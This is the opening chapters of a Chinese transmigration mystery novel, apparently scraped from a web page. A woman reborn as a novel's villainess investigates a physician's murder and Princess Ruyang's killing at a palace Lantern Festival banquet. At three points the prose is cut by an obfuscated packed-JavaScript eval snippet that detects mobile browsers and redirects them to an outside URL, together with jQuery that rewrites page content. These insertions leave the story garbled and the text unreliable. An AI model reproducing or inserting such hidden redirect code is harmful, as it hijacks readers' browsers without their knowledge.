《恶毒女配升职指南(探案)》 1. 夜宴 永安十五年,正月十五。 绚丽彩灯高悬于楼阁与宅邸之上,歌舞百戏上演在街头和巷尾之间,平民百姓、达官权贵纷纷出游,更为这座繁华京城增添了几分节日气氛。 城中东南西北二十五条街道将全城分为两市一百零八坊,而在西市真定坊的某间茶肆里,一个小厮打扮的男子左右张望几眼,直奔某张茶桌而去。 桌上并无茶水,只放着两个荷包,男子掂了掂其中鼓鼓囊囊的那个荷包,他露出满意笑容,随即才拿起另一个转身离开,全程没能察觉有一道目光从他进入茶肆开始就锁定在他身上,直至他取走荷包才施施然地收回。 片刻之后,二楼走下来一名戴着半截面具的年轻女子,在掌柜和店小二好奇的注视中,她踏出茶肆门槛,消失在街道人潮中。 女子边走边将面具随手一抛,她那眼尾上翘的狐狸眸左右流转着,仿佛在观察四周,一双如同海中波纹的水弯眉显出几分婉约,令她容色间不失芳菲妩媚、却不显妖娆。 这般不俗姿容招来少许注目,赵望舒未曾理会,她正欲跟随人群绕出真定坊,却没料想在街道尽头遭到了阻拦—— 披甲执锐的卫兵挺拔站立成一列,形成牢固封锁线,而几个头戴乌纱帽的官员被簇拥在中间。 “命案突发,羽林卫协助大理寺管控此地……” 命案?难怪在上元节这等百无禁忌的日子会有官府卫兵出来封街。 民众与卫兵的争执声此起彼伏,赵望舒没有跟着抗议,她心知一时半刻出不去,干脆悄然凑到守备最多的地方,也就是案发现场,一间名叫杏春堂的医馆。 “大人,两名死者均饮过酒,身上衣物褶皱、似是挣扎搏斗痕迹,三层露台栏杆的断裂处吻合死者坠落轨迹,初步判断应是两人醉酒后发生冲突,互相推搡中一同坠楼身亡。” 赵望舒的视线扫过躺在地上的两具尸体和大片血泊,又抬头望向遭到损毁的三层露台围栏。 这时,原本站在为首绯袍官员身旁的女子行至医馆厅堂的圆桌前,她拿起酒坛看了一眼,旋即发出疑问:“坛中还剩大半酒液,说明两名死者并未喝足令人昏醉的酒量,这至于让他们迷糊到双双坠亡吗?” 女子身着华贵罕见的貂皮裘衣,内衬丝织锦裙亦是价值不菲,显然不是寻常人家,而在赵望舒打量她时,她若有所觉地侧身,露出完整五官轮廓,一双粗眉似被墨水染过般浓稠,目若桃花,鼻梁高而秀挺,令人只瞧一眼就印象深刻。 “瑾瑜,你觉得这不是意外?” 绯袍官员也移步到圆桌旁边,比起他的话语,他对那女子的称呼更让赵望舒感到讶异。 从她因为作息习惯过差猝死在解剖室、再一睁眼发现自己穿成小婴儿之后,随着时间流逝,她很快意识到自己身处一本小说中,而小说女主的名字就叫蔡瑾瑜。 这是一本以架空王朝大业朝为背景的系列悬疑小说《谈情说案》终篇,讲述女主和男主在经历重重磨难、侦破各种诡案之后挫灭反派的阴谋,共同成长为一代明君贤后。 当然,给主角制造磨难的不止反派,还有恶毒女配。 而赵望舒就是这个恶毒女配,或者说书中的她是。 与主角不同,原主并非豪门贵胄,她父亲是被夺走家产的商户子,依靠她母亲生活,可她母亲也只是小县令之女,如无意外,原主本应一直过着不上不下的平凡生活。 但幸也不幸的是,原主有一位出身名门的祖母赵夫人,二十年前,赵家因战乱而死伤惨重,唯有早已出嫁的赵夫人和其从军的胞弟赵钧山幸存,后来赵钧山屡立战功、步步高升为兵部尚书,他的一双儿女却命丧沙场,无意再度成家的赵钧山决定过继外甥、也就是原主父亲为子。 因此原主父亲的家产被轻易夺回,而原主摇身一变成了官家千金,跟随父母和便宜祖父从县城来到繁华京城。 原主入京之时,恰逢皇帝男主首次选秀,家世年龄皆合适的原主自然在候选之列,她受邀参加上元节当夜的赏灯宴,剧情也就从此展开—— 在名为赏灯实为选妃的宴会上,男主的姑姑汝阳公主遇害,案发现场遗留线索皆与女主蔡瑾瑜有关,而原主为了争夺男主的青睐与皇后宝座,积极借此向蔡瑾瑜和她背后家族发难。 女主当然不可能开局即死,所以在经受一番刁难折磨之后,蔡瑾瑜还是和男主联手破案揪出真凶,自此开启谈情说案的日常。 可原主却没有放弃作死,她制造各种事端意图拆散女男主,殊不知她早已成为反派冯玄晖手中的刀,在被冯玄晖利用险些害死女男主之后,她最终落得家破人亡、死无全尸的结局。 所以赵望舒想要改变剧情走向,既为了自己,也为了保护朝夕相处的家人。 她知道谋杀公主的真凶是公主情夫、校书郎石威,因此她提前使人传信约出石威的家仆,在案发当天也就是今日留给对方两个荷包,一个装着银子,另一个则是泻药,她打算通过阻止石威进宫赴宴的方式预防命案。 “这位姑娘似乎与我抱有同样疑虑。” 蔡瑾瑜沙哑低沉的嗓音再度响起,将她从神游中惊醒,迎来医馆里一众卫兵官员的审视。 “这人是医馆的大夫?杂役?” 绯袍官员指着她向周围发问,若她没有料错,他应是蔡瑾瑜的二兄、大理寺少卿蔡琮佳。 得到否定答案后,蔡琮佳不管妹妹的阻拦,吩咐着卫兵要把赵望舒这个闲杂人等架走,但她没有束手就擒,而是匆忙说道:“我的确有所疑虑,还请这位大人容我看一眼尸体,如若无法查出线索,大人尽可治我扰乱查案之罪。” 说罢,她也不等蔡琮佳反应,自顾自地跑到两具尸体旁边。 两名死者一高一矮,皆是瘦弱身材,他们身上酒气明显,但从死后逐渐苍白失血的面容来看,并不能分辨酒醉的程度,她没有做多余的检查,唯独解开尸体外衣。 只见高个死者背部显出几道横向条状的青紫瘀痕、而矮个死者身上仅有坠亡伤、并无相同瘀痕。 她又走进医馆,顺着楼梯上至三层,手把手评估过围栏竹竿的硬度耐性之后,她顿时摆出了然神色。 “按照两位死者身上的痕迹来看,原该是矮个子推搡着高个子撞坏露台围栏,导致二人双双坠亡,但这围栏做工精湛、用料竹竿的承受力也算不错,而哪个死者都显然无法破坏它,除非二人一同使力。” “但是一来,他们喝的酒量不足以让他们迷糊到自寻死路,二来,矮个死者身上没有瘀伤,他是在围栏受损后直接坠楼,因此,这绝不是一场意外冲突——有一名身强力壮的凶犯,用高个死者砸毁围栏,又将矮个死者一并推下去,伪造成意外的假象。” 赵望舒朝着下方高声喊出自己的结论,又在众人惊奇的眼光中使用轻功从露台一跃而下。 “二兄,这果真不是意外吧。” 蔡瑾瑜第一时间支持她的观点,对兄长蔡琮佳半是调侃半是认真着劝说。 在场已有大半人信服了这番言论,蔡琮佳是那类被众星捧月着长大的世家子、不如妹妹稳重,但在一阵窘迫后也没有反驳,只是朝手下官员道:“死者分别是医馆掌柜与坐诊大夫,去排查他们二人有无仇家,尤其是共同的仇家……” 这时,卫兵居然从医馆某处搜出来一箱黄金,经过清点,足有十两重量,且都是真货。 根据杏春堂的规模和声望,它应是主要服务于平民和小资阶层,但凡显赫富贵的人家都不会到这里治病,那么这箱黄金的由来就很可疑了。 杏春堂掌柜的夫人连翘被带到厅堂,她已是哭过一场,双眼异常红肿,供述时声音仍带着些哽咽:“我们就是做小本生意的,平日里也未曾有大主顾上门看病,倒是七天之前,一个打扮低调、披着黑斗篷的女人深夜叩门,我夫君与她在私下谈话,不知两人究竟说了什么,她在离去前竟留下一箱黄金……” 除却连翘,另外几名大夫和学徒对黄金的存在更是毫不知情。 “若是原先,还可将掌柜与大夫的死归咎于钱财纠纷,如今却没那么简单,黄金仍然藏在医馆中,凶手大抵不是图财……” 蔡琮佳犹自为难困扰着,他慢慢将视线投向蔡瑾瑜和赵望舒。 习惯使然,赵望舒的确很想帮忙查清案情,但她今晚要参加赏灯宴,下午就得启程入宫,因此现在必须回府准备了。 留下一句“后会有期”,明知今晚就能与蔡氏兄妹重逢的赵望舒离开了杏春堂,街道的封锁已然解除,她迎着扑面寒风,一路返回位于东市永兴坊的赵府。 * 皇城,蓬莱殿。 池塘、花园环绕宫墙四周,流水潺潺的声音与花草散发的清香飘荡在殿中,这座宫殿是先帝在位期间下令修建的,论华贵程度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792302|158166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远不如进行朝会的金銮殿,却是赏景设宴的最佳选择。 欢声笑语,觥筹交错,热闹却并不喧闹,盖因在场宾客全是带着妻女赴宴,也都心知肚明宴会举行的目的。 有意选在君王侧的贵女千金们争相表现,又是猜灯谜,又是吟诗词,而赵望舒坐在便宜祖父赵钧山旁边,却在一口一口慢悠悠吃着元宵。 她边吃边抬眸看向上方众人,身穿明黄色龙袍的天子与雍容典雅的冯太后并肩坐在高台上,两人左侧是与太后同着紫服的汝阳公主和襄城公主等皇室宗亲,右侧则是以冯氏、蔡氏为首的世家权贵。 赵望舒的席位不算靠后,但也并不显眼,正好方便她低调地观察全场。 这时,皇帝的老师程太傅着人呈上画卷:“臣复刻了一张上元夜宴图,恭请陛下、太后娘娘和诸位共赏……” 上元夜宴图乃是百年以前的名画,描绘了大业第三代帝王延庆帝与百官在上元之夜宴饮同乐的场面。 卷轴缓缓展开,画中延庆帝和文武百官共举杯,一众后妃并公主皇子则抬头仰望挂于宫殿檐角的彩灯,佳节盛景跃于纸上、栩栩如生。 这幅临摹画作确然传神,过去与此刻都仿佛因此产生了一瞬的交错。 太后赐下自己席前未动过的汤盅,皇帝则使人端走一盘花生酥,这两道菜品不算珍贵罕见,却因是御赐而添上恩赏的意味,程太傅一边当场饮一口汤,一边谦虚应付周围宾客的赞誉。 但在氛围正好时,汝阳公主突兀地叹了一口气,却是借题发挥道:“瞧这画上簇拥帝后左右的均是齐氏皇族宗亲,而如今竟轮到蔡氏这等人家功高盖主位列前席。” “陛下,若你择蔡氏女为后妃,只怕连这江山都要改名换……” 公主的话音未落,冯太后的呵斥声已然响起:“汝阳,哀家看你醉得不轻,竟敢妄议朝政、唆使皇帝,哀家亦不姓齐,难道在你眼中,也该被逐出宴席甚至宫廷吗?” 无怪太后这般发怒,汝阳公主的言语看似针对蔡氏,却也不免有讽刺太后家族冯氏之嫌,因此不容公主分辨、也不听皇帝求情,太后呼唤金吾卫进场,像是要直接将公主赶出去。 公主愤然起身,没肯让金吾卫靠近,自顾自地在一群宫人的跟随下昂首挺胸离开了蓬莱殿。 没过多久,一个不知受到何人指派的小太监十分刻意地将酒盏碰倒在蔡瑾瑜的衣裙腰间,迫使她不得不暂时告退前去换装。 这番场景落在赵望舒眼里,她不免有些担忧——书中公主离席而去后,出于未知缘故落单,以致独自遇害身亡,蔡瑾瑜则成了第一嫌疑人。 但她无法阻止公主酒后失言,也无法打消冯太后的怒火,她只能安慰自己,凶手石威并未入宫,命案已然从源头被截断。 “稍后赏灯,皇帝想让哪些人伴驾?” 猜过灯谜、品过元宵,接下来就该赏花灯了,然则宾客足有百余人,不是每个都有资格陪伴太后与皇帝赏灯。 年轻的皇帝在姑姑汝阳公主走后兴致缺缺,见状,冯太后替他做了决定:“蔡家、颍川侯府、赵尚书家、吴尚书家、程太傅和睿王一同留下。” 被点名的除却重臣之外,毫无疑问是入围选秀‘决赛’的最终候选人。 而与存在感极高的蔡瑾瑜相较,赵望舒这个兵部尚书府千金和颍川侯府二小姐从始至终不曾发言,若非太后提及,在场宾客或许还注意不到她们,因此很难想通为什么她们会被选中。 不过其余人可不像汝阳公主一样有胆指手画脚,她们该走的退场出宫,该留下的则跟随圣驾移步御花园赏灯。 期间多有人借故暂离,连冯太后和襄城公主都回宫换过衣装。 作为主人公的皇帝倒是全程不曾缺席,只是他神思不属,而旁人大多在暗中窥测他,十数人里估计唯有赵望舒时不时抬头赏灯、低头看花,真正像个来参观宫廷的游客。 到此为止,一行人虽然各怀心思,但至少维持着和谐的表象。 “太后娘娘,陛下,金吾卫在浮光台发现了一具尸体……” 可是一条不祥的消息却打破了这副平静局面,只听那报信的小太监用惊惶语气禀告道:“那尸体属于、属于汝阳公主!” 此言一出,上至太后皇帝、下至作陪的十数位宾客俱都为之变色。 而在众人之中,尤以赵望舒的神情最为震惊失态。 2. 珠花 浮光台位于皇城西侧,原是一座视野开阔的观景台,然而多年前的一场宫变中似有好些大人物丧命在此,各种恐怖传闻一出,宫人们自发将之视作禁地。 因为长久无人打扫,这处废弃已久的观景台周围遍布灰尘,鲜血蜿蜒流淌至台阶,视线上移,便是汝阳公主的尸身。 公主正面朝下倒地,她的后背插着三支箭矢,其中一支正中心脏要害,伤口涌出的鲜血染红了她那身有些凌乱的绛紫云锦宫装,也染红了她手边那枚淡粉珠花,珠花沾血,无端显得妖异。 “方才宴会上姑姑还如常饮酒作乐,只是离席片刻,她怎就……” 在场众人中除了赵望舒,面色最苍白的当属皇帝齐慕远,但赵望舒是在发愁自己的努力并没有改变剧情,齐慕远却是真情实感为死者汝阳公主痛心。 齐慕远不仅是《谈情说案》终篇的男主,还是前传女主冯雅兰与男主齐世安的儿子,不同于他父母被世人传颂的鹣鲽情深,他的祖父后宫佳丽三千、足有二十几个子女,其老来女汝阳公主和襄城公主甚至与他这个侄子年龄相仿。 两位公主和齐慕远一起长大,比起姑侄,更像是青梅竹马的玩伴,因此听闻汝阳公主的死讯,他悲痛得仿佛下一秒就要晕过去。 太后冯雅兰及时馋住了他,同时开口下令:“遣左金吾卫封锁皇城,右金吾卫排查宫中人员流动情况,再传大理寺的人进宫调查。” 没错,主持大局发号施令的人是太后。 十五年前,先帝齐世安将一众野心勃勃的异母兄弟尽数歼灭,期间过度劳心费力,兼之征战时留下的旧疾复发,他很快也随之病逝,只留下孤儿寡母守江山。 所幸先帝已然带走多数能够觊觎皇位的皇室宗亲,年仅五岁的太子齐慕远也就顺利登基,而太后冯雅兰则理所当然代为摄政、决策军国大事。 太后垂帘听政在各朝各代都不算罕见,冯太后却是其中特例,她十五年前坐上金銮殿的龙椅,到了如今齐慕远可以娶妻亲政的年纪,她仍没有让位的打算。 而齐慕远对朝政之事极其厌倦,他时常缺席朝会,反是冯太后每日准时上朝处理各种政务,以至于坊间流传着‘皇帝玩乐,太后治国’的俚语。 “娘娘,宴会宾客在卫兵的指引下离宫,而各宫宫人皆在岗位上无一缺席,是故有时机行刺公主的只剩……” 右金吾卫将军带来的调查结果打断了她对于目前朝局的思量,对方虽没有明说,但意思显然是杀害汝阳公主的凶手就在她们赏灯的一行人中。 赵望舒的目光落在尸体旁那枚珠花上,她悄然抬手轻抚自己鬓边与其一模一样的珠花,又瞥向蔡瑾瑜戴满精美钗饰的发髻,不由产生一阵隐隐的担忧。 襄城公主在望见姐姐尸体的第一时间就尖叫着晕倒过去,齐慕远也一脸哀恸茫然,他们都忽略了珠花,但其余人并没有,一个身穿玄色窄袖蟒袍的青年直接上前用绢布捻起它。 “假如本王没有记错,这珠花是宴会上太后娘娘分赏给每一位女客的。” 在给众人展示手中珠花的同时,玄衣青年那副比齐慕远更加肖似冯太后的五官也清晰显露。 他剑眉英挺,眼如丹凤,薄薄的两片唇瓣原本给人以无情冷漠之感,但他唇角从未淡去的微笑又让他显得温润从容。 只不过无人会被这副皮相所迷惑,因为对方军中杀神的威名和在朝中折磨覆灭政敌的事迹流传更广。 这玄衣青年即是原书中的大反派,睿王冯玄晖。 冯玄晖是冯太后已故胞弟的独生子,他十二岁起就投身军营,上阵杀敌无数,三年前更一举收复被敌国漠北侵占的边境重地西州,因此被赐亲王爵、成为大业朝以外戚之身封王的第一人。 但这不能满足冯玄晖的野心,他想要更进一步,兵权对他而言至关重要,然则朝野上下恐他拥兵自重、力谏调他回京,驻守边境的兵权便被交托给英国公钟家。 钟家曾出过一位贤名远扬的明懿皇后,其推行女官制度,允许女子继承家产,为后世女子参政打下基础,但许多纠纷也由此产生——譬如明懿皇后自己的家族,先代英国公与世子战死疆场,只留下两个女儿,长女承爵,次女则嫁入京城望族蔡氏、育有两子一女。 按照律法和常理来说,钟家的爵位本该传于长女一脉,可次女嫁的蔡氏也是外戚,还是先帝的母族,因此在先帝干涉之下,钟家次女所出的大公子凭借母系血缘成为英国公,其同胞弟妹,正是蔡琮佳和蔡瑾瑜。 一方面是夺占兵权之仇,另一方面,蔡瑾瑜有望入宫为后,意味着蔡氏和钟家很可能与齐慕远绑定、加强皇权势力,两重威胁之下,可想而知冯玄晖对蔡氏多么忌惮。 而现在,他拥有了摧毁这个大家族的机会:“方才滞留宫中的女客唯有三人,赵尚书府上的千金和颍川侯府二小姐从始至终不曾落单,至于蔡小姐……或许你应该解释一下,为什么你在赏灯中途离开,回来后却遗失了珠花?” 赵望舒心下一沉,在赏灯期间单独离开的不止蔡瑾瑜,但珠花这一线索却把嫌疑直接引向她,更糟糕的是她确实拿不出原本戴在她头上的那枚珠花。 “适才宴会上臣女的衣裙被弄脏,只得离席前去换装,这一点诸位都知道,又因不敢耽搁太后与陛下的赏灯雅兴,臣女换装时动作匆忙,不知何时遗落了珠花……” 不过蔡瑾瑜无愧是原书聪慧机敏的女主,她没有因为遭到指控而慌乱,甚至没有向旁边的家人求助,而是语气镇定地反驳道:“太后赏赐的珠花出自尚功局,每一枚都形状相同,况且此物不难获取,睿王殿下何以凭此质疑臣女?” 宴会中途汝阳公主因为挑唆皇帝厌弃蔡家而遭冯太后驱逐,蔡瑾瑜则被小太监碰倒酒杯弄脏衣裙、不得不离席换装,几乎同时具备了作案动机与时间。 赵望舒有预感这一点会被人拿来做文章,而冯玄晖则很快印证了她的预感:“金吾卫的汇报已经很明显,能够在皇城中自由行走的唯有我们这群人,其中曾经落单、又与公主有矛盾的只有蔡小姐,公主在宴会上劝诫陛下勿同蔡氏结亲,险些毁了蔡小姐将要到手的后位……” “这枚珠花的确不足为证,但结合蔡小姐的行程与动机,它或许就是关键线索。” 而且这回冯玄晖没有留出容人申辩的余地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可惜换了赵望舒,她丝毫没有与蔡瑾瑜作对的打算,周围人更是一个比一个谨慎、谁也不肯轻易得罪蔡家,冯玄晖找不到第二个像原主那样的愣头青,只能亲身下场布局。 目前的情况是京中两大司法官署因为分别与冯玄晖和蔡家有着千丝万缕的联系而显得不足公正,因此本该拍板决策的冯太后犹疑不决,并未选择偏袒任何一方。 但冯玄晖似乎早有准备,他转而利用齐慕远对汝阳公主的情谊劝说其支持自己的主张,齐慕远此时与蔡瑾瑜鲜有来往,比起蔡家,他显然更得到这位皇帝表弟的信任,只差对方明言下旨—— “朕以为,不如还是改传刑部的人督办此案……” “太后娘娘、陛下,臣女有一要事禀告。” 谁也不曾料想竟会有一道女声盖过皇帝的话语,不计冯太后与昏厥的襄城公主,在场仅有三位女客,而在蔡瑾瑜和颍川侯府的陆二小姐均作出抿紧双唇的动作后,众人的目光终于落到赵望舒身上。 先前三位女客被点名留下赏灯,蔡瑾瑜敢于主动同皇帝太后说笑逗趣,赵望舒和陆二小姐却全程像个哑巴一样安静,众人本来已将她们视作陪衬,直至她忽然开口。 赵望舒穿着一袭浅蓝襦裙,外披银白色狐皮大氅,乌黑发丝间只簪了两支玉钗和太后赏的珠花,相比宴会上众多盛装出席的贵女们,她的打扮算是十分低调,正如她先前的沉默做派一般。 但是这个名不见经传的尚书府千金,却顶着睿王冯玄晖暗藏阴鸷的笑容,自顾自地朝冯太后与齐慕远高声说道:“臣女发现了些许疑点,可以证明珠花这一线索不能被采纳。” 3. 交锋 “什么疑点?” 齐慕远尚且没有反应过来,倒是冯太后率先开口追问。 “臣女发现台座和阶梯上都是成堆血泊,而阶下石砖却散布着细小血点,以距离来估算,这不可能是尸体喷溅鲜血造成的……是故臣女怀疑石砖的血迹被清理过。” 赵望舒不敢耽搁,她轻撩裙摆蹲下身,指尖对准浮光台台阶下沾有褐红色斑点的石砖。 尸体涌出鲜血,蔓延至台座和阶梯,这很正常,但血迹止于台阶,阶下石砖却凭空沾染血点,这显然不合理。 赵望舒等待太后发话裁决,却先见到一截玄色袍角映入她眼帘,低沉含笑的男声在身前响起:“赵小姐的推测很有意思,只是本王不太明白,这与珠花不能作为线索被采纳有什么关系?” 赵望舒站起身来,她在常人中算是高挑,然而挺直腰背也仅能与冯玄晖的喉结处平视,她不得不仰着头去看他。 近看那张温润和煦的俊颜,深知对方冷酷本性的赵望舒呼吸一滞,但她仍旧硬着头皮答道:“如果凶手曾清理血迹,就说明祂收拾过案发现场,那又怎会大意到留下一枚有指向性的珠花呢?” “如果——即是不肯定的意思,由一个假设衍生出的结论,恐怕无法被取信吧?” 冯玄晖轻易揪住赵望舒话语中的漏洞,试图驳回她的观点。 她却摇了摇头,用坚定口吻说道:“臣女可以证明这一假设,只是需要两样东西作为辅助。” 出乎众人意料的是,赵望舒要的两样东西分别是酽米醋和酒。 这个要求很简单,被冯太后催促调遣的金吾卫很快就从御膳房带来酒和醋,又在赵望舒的指挥下将它们尽数泼在阶下石砖处。 酒水和浓醋在石砖上融合挥发,不到片刻,一滩褐红色的痕迹逐渐显现。 赵望舒盯着血迹中几处大致为鞋印形状的模糊轮廓,她遗憾地叹了口气:“射杀属于远攻,凶手无需走上浮光台,祂会在石砖留下脚印,多半因为要确认公主有否彻底身亡……可惜不能清晰复原祂的脚印。” 不过她的确论证了先前的说法,珠花没可能是凶手无意遗落在案发现场的。 蔡瑾瑜与其母亲、兄长同时神色一缓,她的二兄蔡琮佳还向冯玄晖投去一个类似挑衅的眼神,而后者对此视若无睹。 冯玄晖仍然微笑着,笑意愈发幽深,但他仅面朝着赵望舒一人:“即便如此,作为兼有作案时间和动机之人,蔡小姐的嫌疑仍无法被排除。” “您误会了,臣女只是想要指出珠花的疑点,并非为谁辩护。” 赵望舒稍微侧身,试图回避冯玄晖的视线,因为她怀疑留下珠花的人就是对方。 汝阳公主遇害的时间地点都与原书一致,但这不能被视作同一桩案件,因为书中凶手校书郎石威根本不曾进宫,有机会杀害公主的唯有方才赏灯的一行人。 凶手的身份变了,案发现场的珠花却依然存在,比起两名凶手默契到想法一致去嫁祸蔡瑾瑜,她认为书中和现实假借珠花生事的人都是冯玄晖的可能性更高。 但她不曾点破这层疑虑,毕竟一来原书剧情无法宣之于口,怀疑只能是怀疑,二来她也不好把冯玄晖往死里得罪。 而冯玄晖没有再说什么,在谋算落空的情况下,他也并未表现出失望或愤怒,不知是他城府深到能够完美掩饰情绪,还是因案情未明、他仍觉得有机会对付蔡氏。 无论如何,赵望舒紧绷的神经终于松缓些许,她得以将注意力放到案件本身:“凶手的鞋底沾过血迹,那祂行凶之后必定会换鞋。” 她的意图原是提供思路,让调查案件的官员能够更快速锁定嫌疑人范围,未料她刚才的所言所行却引来蔡琮佳的举荐。 “太后娘娘有所不知,微臣今早在西市真定坊查案时,这位赵小姐热心相助,指正了案件的调查方向……当时陆世子与吴二公子身为执勤的羽林卫也在现场,您尽可询问他们二人。” 蔡琮佳扯出今早同处真定坊的颍川侯世子陆良与吴尚书的次子吴烨,随后极力提议:“既然大理寺和刑部的立场皆不能服众,您何妨选一个像赵小姐这般态度中立兼有查案才能的人参与调查?” 闻言,冯太后将好奇欣赏的目光投向赵望舒,并对她的便宜祖父赵钧山笑道:“赵卿,先前只是见你府上的千金姿仪不凡,却不曾想还有这般天赋。” “娘娘谬赞,微臣这孙女还称不上天赋一词,只不过她自小跟着她做县令的外祖父旁听审案,混在案件堆里长大,还算有些经验……” 赵钧山鬓发微白,但目光炯炯、精神矍铄,听闻冯太后的赞词,他表面上谦虚,言语间却分明更为褒扬赵望舒。 “是江州的某个县城吗?哀家亦是江州人氏,一听你们的口音就觉熟悉。” 冯太后因他的小心思而开怀笑了几声,随后又盯着赵望舒感慨道:“犹记得少时哀家也对查案探凶颇为热忱,只可惜……” 因为阅读过《谈情说案》前传终篇,赵望舒当然清楚冯太后的过往,她与先帝曾游历各地探案,还许下同做提刑官的诺言,但后来先帝受封太子入主东宫,她从太子妃一路做到摄政太后,却也深陷在宫墙和权力场中,不再可能费时去完成少年梦想。 旁观的众人却不似赵望舒了解内情,他们不知冯太后的叹惋是发自内心,只能从太后又是主动提及与赵望舒是同乡、又是暗示她肖似自己年轻时候的话语中听出亲近意思。 但他们以为太后至多要同意蔡琮佳的提议,将赵望舒选为类似监察大理寺与刑部的特使参与查案,却没想到—— “仅是参与,难免处处受限,哀家觉得不如直接让赵家小姐督办此案。” 冯太后一番铺垫,竟是意图越过刑部和大理寺,把主审汝阳公主被害案的权力交给无官无职的赵望舒。 当着太后的面,众人不敢议论,只能互相传递眼神交流,但冯玄晖没有那么多忌讳,他直言反对道:“赵小姐初次入京,又是无品无阶的白身、没有真正的办案经历,如何能够担此重任?” “汝阳的案子不同寻常,哀家和皇帝不在乎那些流程,只想尽快查出真凶施以惩戒,赵小姐初来乍到,岂不正好立身清正、不偏不倚。” 不知为何,冯太后与冯玄晖姑侄之间的立场并不一致,或许她没打算让自己的母族冯氏一家独大,又或许她有着别的盘算,总之,她的态度很坚决。 冯玄晖显然也明白冯太后不像齐慕远一样能被他三言两语动摇,于是他故作担忧地瞥向赵望舒:“赵小姐若顺利查清真相那自然最好不过,可要是迟迟未能缉捕凶手,恐怕有损天家威严,到时让她一个年轻姑娘背负后果就太残忍了。” 冯玄晖的口吻极尽温柔关切,但任谁也不会相信他真是在为赵望舒着想,赵望舒本人更是清楚领会到他暗藏的威胁之意。 假如她真的奉命查案,不仅要周旋于各个身份不凡的嫌疑人中,防备着与他们交恶,还无法避免没能查出真相、遭到追责的风险。 “此案事关重大……” 在众人认定赵望舒要知难而退并投来理解目光时,她缓缓说出未尽之言:“臣女定当全力追查,方可不负太后娘娘的信重。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792304|158166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵望舒当然知道冯玄晖的恐吓是事实,也当然明白调查这桩案件风险极高,但她更在意冯太后的态度。 她与太后无亲无故,又只是一面之缘,太后为什么要选她来查案? 是单纯因为赏识她,还是想要借她将赵家拉入局,制衡冯家与蔡氏的争端? 她的祖父赵钧山身居要职、在军中人脉颇广,而赵家早已败落,抬举她们也无需担心会出现不可控的情况,简直是最合适不过的棋子。 可是……当棋子又何妨呢? 赵望舒穿进这个书中世界,接触过因战乱流离失所的灾民、被主家随意打杀的仆从、蒙受冤屈的逃犯,她们都是活生生的人,而她当时只能给她们一碗粥或是为她们下葬,她的力量太渺小,做不了更多,但她想要做更多。 因此赵望舒放弃江州的平静生活,跟随赵钧山入京,她不求凤冠,只要一顶乌纱帽。 掌权者想利用她,她才能利用权力,所以她不拒绝趟这一趟浑水。 何况她也很想知道,究竟是什么原因让剧情回归正轨,而她还能否改变剧情走向,如若逃不开书中家破人亡的结局,那就万事皆休,更没有什么好纠结的。 旁人不能明白她的心思,因而表现得惊讶诧异,冯太后却是满意地点了点头:“哀家予你搜查审问之权,在查案期间,右金吾卫会听从你的调遣。” 赵望舒只朝围在四周披着铠甲、腰间佩剑的卫兵看了一眼,她的视线很快转回到方才一同赏灯的众宾客身上。 “太后娘娘,所有案发前后能够在宫廷自由行走的人都在这里了吗?譬如金吾卫、羽林卫的卫兵之流有无缺席?” 赵望舒的疑问似乎提醒了冯太后,只听她下令传羽林卫统领张鑫前来觐见。 这个张鑫也是汝阳公主的情夫,即书中嫌疑人之一,因为凶手的身份已经发生改变,所以包括原书里被冤枉的蔡瑾瑜在内,她们的嫌疑都无法排除。 她深吸一口气,开始正式搜查的第一个环节:“烦请诸位‘高抬贵脚’,让我检查你们是否更换过鞋子。” 众人你看我我看你,因着有冯太后的授意在前,又唯恐拒不受检会加重嫌疑,他们不敢耽搁、纷纷抬脚露出各自的鞋底。 赵望舒的目光一路扫过十数双鞋底,发现蔡瑾瑜、襄城公主、程太傅、吴尚书与吴烨父子、颍川侯世子陆良以及羽林卫统领张鑫从鞋身到鞋底都十分干净,全然不像使用已久的模样。 蔡瑾瑜宴会中途换装,她穿上新鞋不难理解,但是其余人—— 从昏厥中悠悠醒转的襄城公主被皇帝侄子齐慕远扶着,她语带哭腔地解释道:“本宫平日里有搜集各类华服裙裳的爱好,从衣服到鞋子都是一天三换的,这习惯宫中无人不知。” 而程太傅、吴尚书父子、张统领与陆世子给出的理由出奇相似,都是‘有洁癖,时不时就要擦鞋抹去污垢,所以显得鞋底干净’。 赵望舒对此不置可否,她只是行至除却冯太后之外、唯一一个没有配合她搜查的人面前:“睿王殿下,可否容臣女察看您脚下的鞋子?” 冯玄晖没有应声也没有动作,他只是饶有兴趣地俯首打量着这个不敢与他对视的年轻女子。 他确信赵望舒对他心存惧意,否则她不会在瞧见他温和笑容时还身体发颤,更不会在直面皇帝太后的圣颜之后却躲避他的目光。 但她既然害怕,又为何能够鼓起勇气破坏他的谋划、与他作对呢? 在难得产生好奇心和捉摸不透情绪的状况下,冯玄晖依言掀开玄色衣摆,让赵望舒得以看到他崭新无尘的鞋靴。 4. 动机 确定嫌疑人范围之后,赵望舒抬头朝浮光台台座上看去。 